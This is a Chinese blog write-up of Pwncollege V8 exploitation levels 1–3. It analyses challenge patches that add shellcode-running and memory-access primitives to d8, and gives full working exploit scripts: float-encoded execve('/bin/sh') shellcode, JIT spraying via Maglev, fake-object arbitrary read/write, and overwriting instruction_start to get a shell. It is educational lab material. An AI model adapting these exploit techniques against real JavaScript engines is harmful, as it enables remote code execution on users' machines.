Pwncollege V8 Exploitation (上)

Pwncollege V8漏洞利用解析

Level 1

环境搭建

由于我已经下载好了v8的源码以及编译的工具,下面就直接回退到题目的版本

(注:这里要开代理)

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level1/patch
./tools/dev/v8gen.py x64.release
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

这里的-j 5是限制CPU的核心数为5,如果不加的话CPU容易占满然后死机

这里在编译前要修改一下参数

subl ./out.gn/x64.release/args.gn

内容:

is_component_build = false
is_debug = false 
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

最后就编译好了release版本,当然也可以再编译一个debug版本如下

./tools/dev/v8gen.py x64.debug
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.debug d8 -j 5

分析

如图为array创建了一个run方法

image-20251130123747556

接下来分析run这个函数:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"
 
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {
 
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
 
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();		//获取数组元素
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));	//获取长度
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {
 
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,

上面就是ArrayRunC++定义,使用BUILTIN宏完成函数体的定义。

IsJSArray: 会判断传入的值是不是JSArray类型.

HasOnlySimpleReceiverElements: 要求数组的元素类型必须是简单类型(即没有 holes、不是对象等)

THROW_NEW_ERROR_RETURN_FAILURE充当assert的作用,可提供报错,这里的MessageTemplate是一个枚举类型,其中包含很多错误类型。

接下来,会判断数组的elements kind 是否为PACKED_DOUBLE_ELEMENTS,也就是要求数组中的所有元素都是double类型(即 JavaScript 的 Number类型,且不是int32、BigInt 或对象等).然后还会检查数组的长度,且长度不能超过4096字节

通过这些检查后,函数会调用mmap申请一段4096 字节、具有读写执行(RWX)权限的内存区域.然后会把数组中的数据(也就是shellcode)写入这片内存。

最后调用((void (*)())mem)();执行内存中的shellcode

漏洞利用

因为可以执行shellcode,所以我们直接用python生成shellcode然后转换成double类型,然后写入执行即可。

写double类型的shellocde 下面是py文件

from pwn import *
import struct

context(arch='amd64', os='linux')

shellcode = shellcraft.sh()
sh = asm(shellcode)
print(f"shellcode length: {len(sh)} bytes")

if len(sh) % 8 != 0:
	padding = 8 - (len(sh) % 8)
	sh += b"\x00"*padding
	print(f"已填充 {padding} 字节,总长度: {len(sh)} 字节")

double_array = []

for i in range(0,len(sh),8):
	chunk = sh[i:i+8]
	value = struct.unpack("<Q",chunk)[0]
	double_val = struct.unpack("<d",chunk)[0]
	double_array.append(repr(double_val))

js_array = "var shellcode = [\n    "+",\n    ".join(double_array)+"\n];"
print(js_array)

image-20251130135645737

Exploit.js

var shellcode = [
    7.340387646374746e+223,
    -5.632314578774827e+190,
    2.820972646004203e-134,
    1.7997858657482317e+204,
    -6.038714811533287e-264,
    2.6348604761052688e-284
];

shellcode.run()

然后运行

../v8/out.gn/x64.release/d8 ./Exploit.js

image-20251130135800003

Level2

环境搭建(V8 version 12.8.0 (candidate))

还是一样的先搭建环境:

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level2/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数为:

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

这里patch了3个函数,这三个函数其实就是v8 pwn里面比较常见的原语,获取对象的地址、沙箱内地址任意读写

image-20251130180947381

具体分析一下

对于GetAddressOf,获取当前的isolate之后会判断参数的个数,然后会把参数转换为内部对象句柄,再检查参数是不是堆对象。最后就是获取对象的实际内存地址。

image-20251130182330512

对于ArbRead32:从任意内存地址读取32位值

获取当前的isolate之后会判断参数的个数,然后判断参数是不是数字,下面获取cage_base,其实也就是gc申请内存的基地址,然后类型转化一下。接着获取full_addr(r14+addr),然后通过指针解引,返回一个uint32_t的结果。

**注意:这里之所以需要先获取 cage base 并进行地址转换,是因为 V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量,然后再将32位压缩基址转换为64位完整地址(V8HeapCompressionScheme::GetPtrComprCageBaseAddress()解压缩这个基址) **

image-20251130183700313

对于ArbWrite32函数:向任意内存地址写入32位值

获取isolate,限定参数长度为2,分别获取两个参数,同时判断类型是否为Number。下面的流程和ArbRead32类似,就是最后这里不是指针解引,而是*(uint32_t *)full_addr = value; ,这里学过c的都能看得懂吧

image-20251130183717891

漏洞利用

shellcode以浮点数的形式输出出来再写入自定义的shellcode函数当中,通过触发MAGLEV compilation编译器会将生成的code写入RWX segment中,通过修改指向RWX段中该code的指针,将指针指向自定义的浮点数形式的execve("/bin/sh", NULL, NULL)当中,即可在再次执行shellcode()时执行execve("/bin/sh", NULL, NULL)

这里先给出EXP的生成脚本以及EXP。

这里我首先使用了py脚本生产一段shelcode

from pwn import *
context(arch='amd64', os='linux')

jmp = b"\xeb\x0c"
shell_str = 0x68732f6e69622f

def make_double(code):
	assert len(code) <= 6
	print(hex(u64(code.ljust(6,b"\x90")+jmp))[2:])

#execve("/bin/sh", NULL, NULL)
make_double(asm("mov    eax, 0x68732f"))
make_double(asm("mov    ebx, 0x6e69622f"))
make_double(asm("shl rax,0x20"))
make_double(asm("add rax,rbx;push rax;"))
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx,edx;push 0x3b;pop rax;syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

这里对于/bin/sh这个字符串的处理,我将这个转化为hex的形式,然后分成高位和低位4字节,分别赋值给eaxebx,然后eax << 32位存储到rax里,接着再讲低4字节赋值给rax,这样字符串就处理好了,然后push到栈上,接着将rsp赋值给rdi,那么execve的第一个参数就处理好了,后面的rsi和rdx已经系统调用。

image-20251202224059912

将输出赋值到convert.js脚本里,convert.js脚本的内容,需要转化为BigInt类型,然后前面加上0x

function convertShellcode() {
    const shellcodeInts = [
        0xceb900068732fb8n,
        0xceb906e69622fbbn,
        0xceb909020e0c148n,
        0xceb909050d80148n,
        0xceb90f631e78948n,
        0x90050f583b6ad231n,
    ];
     
    const shellcodeFloats = [];
    const buffer = new ArrayBuffer(8);
    const view = new DataView(buffer);
     
    for (const int of shellcodeInts) {
        view.setBigUint64(0, int, true);
        const float = view.getFloat64(0, true);
        shellcodeFloats.push(float);
    }
    return shellcodeFloats;
}
 
const shellcode = convertShellcode();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
    console.log(`    ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");

运行结果:
image-20251202224501821

EXP:

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v) {
    return v & 0xfffffffe;
}

function ptr(v) {
    return v | 1;
}

function shellcode() {
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}
for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation



let shellcode_addr = GetAddressOf(shellcode);
logg("Address of shellcode: ",shellcode_addr);

// %DebugPrint(shellcode);
// %SystemBreak();

let code_addr = unptr(ArbRead32(shellcode_addr + 0xc));
logg("Address of code: " ,code_addr);

let instruction_start_addr = code_addr + 0x14;
let shellcode_start = ArbRead32(instruction_start_addr)+0x6b;
logg("instruction_start_addr: ",instruction_start_addr);
logg("shellcode_start",shellcode_start)

ArbWrite32(instruction_start_addr, shellcode_start);

// %SystemBreak();
shellcode();

for (let i = 0; i < 100000; i++) shellcode(); shellcode()执行100000次,触发MAGLEV编译,编译器会将生成的code写入RWX段中(在沙箱外,但指向code的指针在沙箱内部,因此可以访问)
此时可通过%DebugPrint(shellcode); %SystemBreak(); 来观察shellcode函数所在内存地址的详细信息

EXP调试分析

gdb ../v8/out.gn/x64.release/d8
set args --allow-natives-syntax ./Exploit.js
start
c

如图可以看到断在了获取shellcdoe地址后面:
shellcode_addr是通过GetAddressOf原语得出的

image-20251202225207991

查看shellcode地址处的值,可以看到code的地址为0x..200355shellcode地址的0xc偏移处。

image-20251202225248751

pwndbg> job 0x03ac00200355

job code查看一下。

image-20251202225723189

这里有个重要的地址就是 instruction_start: 0x5555b7980580这个地址指向了代码的初始地址。

通过查看 code处的值可以发现 instruction_start的地址在 code_addr + 0x14处。

image-20251202230426108

下面部分就是我们所写的shellcode部分。

image-20251202225836692

shellcode的起始地址是 +0x6b (这里的偏移是根据不同环境来确定的),又由于浮点数是八字节的表示形式,去掉前面两个字节的操作剩下的六个字节就是我们可控的内容,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

如下就可以知道我们写的shellcodeinstruction_start + 0x69+2

image-20251202230027533

image-20251202230321556

然后可以在syscall这里下一个断点看看

image-20251202231344367

如图成功执行shell。

Level3

环境搭建

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level3/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

还是在编译前修改参数

subl ./out.gn/x64.release/args.gn
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析:

patch了两个很经典的原语,分别用于获取obj的地址和伪造obj

image-20251203154641776

对于GetAddressOf,获取当前的isolate之后会判断参数的个数,然后会把参数转换为内部对象句柄,再检查参数是不是堆对象。最后就是获取对象的实际内存地址.

image-20251203154949643

对于GetFakeObject函数,先获取当前的isolate,然后获取当前的 JavaScript 执行上下文。

限制参数的长度必须为1且为number类型。info[0]->ToUint32(context).ToLocal(&arg): 将第一个参数转换为无符号32位整数,ToLocal(&arg) 尝试将转换结果存储到arg

然后就是获取addr,将被压缩的指针恢复为原来的地址,cast为obj类型,接着调用obj_handle转化为obj。

这里obj_handle的类型其实还是会做一些检查的,伪造的时候还是需要去伪造map、prototype等,以确保是一个看起来正确的obj。

image-20251203155006938

总结:

  1. GetAddressOf原语(给定一个对象,可以返回该对象所在的内存地址)
  2. GetFakeObject原语(给出一个地址,返回一个以该地址为首地址形式的对象)

漏洞利用

大致思路和Level2差不多 ,将shellcode以浮点数的形式输出出来再写入自定义的shellcode函数当中,通过触发MAGLEV compilation编译器会将生成的code写入RWX segment中,通过修改指向RWX段中该code的指针,然后执行拿shell。

步骤:

  1. 和level2一样先把shellcode写到RWX segment中
  2. 伪造一个 arr,里面填上伪造的数据
  3. 获取arr的地址后,在+0x54的偏移处就是 这个arr的数据所在,也就是 arr_addr + 0x54 存放伪造的数据
  4. 然后利用 GetFakeObjectarr_addr+0x54处获取一个fake_obj,这个objelements元素的值就是arr[1]
  5. 接着构造任意读写的原语,通过修改 arr[1]就能达到修改fake_objelements的值。我们先把arr[1]的值修改为shellcode_addr+0xc-8,于是elements就指向shellcode_addr+0xc-8, 然后读取fake_addr[0],就相当于读取了elements的第一个元素也就是 shellcode_addr+0xc的值,这个值就是code的地址
  6. 拿到了code_addrcode_addr + 0x14的偏移处就是instruction_start_addr,利用相同手法读取instruction_start_addr就能拿到shellcode的起始地址
  7. 接着利用写改写instruction_start_addr的值为shellcode的起始地址+0x6b,就能执行shellcode了。

EXP

var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffe;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

var arr = [u32_to_f64(0x001cb8a5, 0x00000725),u32_to_f64(0x00000725, 0x00008000)];
var arr_addr = GetAddressOf(arr);
logg("arr_addr",arr_addr);

// %DebugPrint(arr);
// %SystemBreak();

var fake_arr = GetFakeObject(arr_addr + 0x54);
// %DebugPrint(fake_arr);
// %SystemBreak();

function ArbRead64(cage_addr){
    if(cage_addr & 0x7) throw new Error("Must DWORD Aligned");
    arr[1] = u32_to_f64(ptr(cage_addr - 0x8),0x00008000);	//这里会将地址-0x8
    // logg("arr[1]",f64_to_u64(arr[1]));
    // %SystemBreak();

    let result = f64_to_u64(fake_arr[0]);
    console.log(`[*] ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
    return result;
}

function ArbWrite64(cage_addr,value){
    if(cage_addr & 0x7) throw new Error("Must DWORD Aligned");
    arr[1] = u32_to_f64(ptr(cage_addr - 0x8), 0x00008000);
    let written = u64_to_f64(value);
    fake_arr[0] = written;
    console.log(`[*] ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}


//DWORD Aligned
function ArbRead32(cage_addr){
    if(cage_addr & 0x3) throw new Error("Must DWORD Aligned");
    u64[0] = ArbRead64(cage_addr & 0xfffffff8);
    let result = u32[(cage_addr & 0x4) >> 2];
    console.log(`[*] ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
    return result;
}

function ArbWrite32(cage_addr,value){
    if(cage_addr & 0x3) throw new Error("Must DWORD Aligned");
    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
    u64[0] = ArbRead64(QWORD_Aligned_cage_addr);
    u32[(cage_addr & 0x4) >> 2] = value;
    ArbWrite64(QWORD_Aligned_cage_addr,u64[0]);
    console.log(`[*] ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}

var shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);

// %DebugPrint(shellcode);

var code_addr = unptr(ArbRead32(shellcode_addr+0xc));
logg("code_addr",code_addr);


var instruction_start_addr = code_addr + 0x14;
var shellcode_start = ArbRead32(instruction_start_addr)+0x6b;
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
ArbWrite32(instruction_start_addr,shellcode_start);

// %SystemBreak();

shellcode();

调试分析

如图打印了arr的地址以及其结构

image-20251205145120399

如下图打印了fake_arr的结构

image-20251205145320795

然后仔细观察分析可以看到,arr+0x54的偏移处刚好是fake_arr的地址,其中arr[0]fake_arr的maparr[1]fake_arr的elements

因此我们通过修改arr[1]就可以达到修改fake_objelements的目的,然后通过读写fake_arr[0]或者fake_arr[1]就能达到任意读写的目的。

image-20251205145400061

然后泄露出shellcode的地址,修改arr[1]shellcode+0xc-8就能拿到code的地址,然后就能拿到instruction_start_addr

image-20251205145815729

image-20251205150053246

然后在修改arr[1]为instruction_start_addr的地址就能拿到shellcode的起始地址

image-20251205151029380

最后修改instruction_start_addr为shellcode的起始地址+0x6b就能执行shellcode了

image-20251205151503466

image-20251205151339763

image-20251205151655538

大概率会打成功(小概率失败)

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值